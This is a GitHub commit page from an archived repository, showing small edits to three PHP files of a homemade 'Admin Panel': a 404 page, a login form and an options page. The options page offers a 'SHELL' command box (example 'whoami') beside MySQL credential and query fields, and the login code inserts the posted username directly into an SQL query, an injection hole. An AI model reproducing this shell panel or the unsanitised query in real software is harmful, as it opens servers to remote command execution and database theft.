Skip to content
This repository was archived by the owner on Sep 23, 2022. It is now read-only.

Commit 1a0e4af

Browse files
author
nerdofcode
committed
New features
1 parent a373726 commit 1a0e4af

3 files changed

Lines changed: 9 additions & 11 deletions

File tree

404.php

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
<?php
22
$ip=$_SERVER['REMOTE_ADDR'];
33
echo "The file you tried to access is protected and you dont have permission to view it... <br>";
4-
echo "Your IP has been reported: $ip";
5-
6-
7-
4+
echo "Your IP has been reported: <b>$ip<b>";
85

96
?>

index.php

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,14 +12,15 @@
1212
?>
1313
<html>
1414
<head>
15-
<title>Custom Admin Panel</title>
15+
<title>Admin Panel</title>
1616
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
17+
<link rel="stylesheet" type="text/css" href="style.css">
1718
</head>
1819
<body>
1920
<h1 style="text-align:center;">Admin Panel</h1><hr>
2021
<form name="form" id="form" action="" method="post" >
21-
Username:&ensp;<input type="text" name="UID" id="UID" required><br>
22-
Password:&ensp; <input type="password" name="passwd" id="passwd" required><br>
22+
Username:&ensp;<input type="text" name="UID" id="UID" required><br><br>
23+
Password:&ensp;<input type="password" name="passwd" id="passwd" required><br><br>
2324
<input type="submit" value="Submit" onClick="">
2425
</form>
2526

@@ -39,7 +40,7 @@
3940
include('user.php');
4041
$user_name = $_POST['UID'];
4142
$user_password = $_POST['passwd'];
42-
$db = mysqli_connect('localhost', $user,$pass,$database) or die("Error connecting to MYSQL");
43+
$db = mysqli_connect('localhost',$user,$pass,$database) or die("Error connecting to MYSQL");
4344
$query = "SELECT password FROM $table WHERE name = '$user_name'";
4445
mysqli_query($db, $query) or die("Unable to access MYSQL");
4546
$result = mysqli_query($db, $query);
@@ -53,7 +54,6 @@
5354
echo "An error has occured... Please try again later";
5455
$_SESSION['status'] = "0";
5556
}
56-
5757
mysqli_close($db);
5858

5959

options.php

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
<html>
1313
<head>
1414
<title>Admin Panel</title>
15+
<link rel="stylesheet" type="text/css" href="style.css">
1516
</head>
1617
<body>
1718
<h1 style="text-align: center;">Admin Panel</h1>
@@ -22,8 +23,8 @@
2223
SHELL: &nbsp;&nbsp;&ensp;&nbsp;&nbsp;<input type="text" id="query_box" name="query_box" placeholder="Ex: whoami"></input><br><br>
2324
DBNAM: &nbsp;&nbsp;&nbsp;<input type="text" id="mysql_get" name="mysql_get" placeholder="ex: custom" value="<?php echo $_SESSION[udb];?>"></input><br><br>
2425
HOST : &ensp;&ensp;&ensp;<input type="text" id="host" name="host" placeholder="localhost" value="<?php echo $_SESSION['host'];?>"></input><br><br>
25-
USER : &nbsp;&ensp;&ensp;&nbsp;<input type="text" id="user" name="user" value="<?php echo $_SESSION['mysql_user'];?>"></input><br><br>
26-
PASS : &ensp;&nbsp;&ensp;&ensp;<input type="password" id="pass" name="pass" value="<?php echo $_SESSION['mysql_pass'];?>"></input></br><br>
26+
USER : &nbsp;&ensp;&ensp;&nbsp;<input type="text" id="username" name="username" value="<?php echo $_SESSION['mysql_user'];?>"></input><br><br>
27+
PASS : &ensp;&nbsp;&ensp;&ensp;<input type="password" id="password" name="password" value="<?php echo $_SESSION['mysql_pass'];?>"></input></br><br>
2728
QUERY: &ensp;&nbsp;&nbsp;<input type="text" id="myquery" name="myquery" placeholder="SELECT * FROM test;" value="<?php echo $_SESSION['query'];?>"></input><br><br>
2829
<button type="Submit" value="Submit">Submit</button>
2930

0 commit comments

Comments
 (0)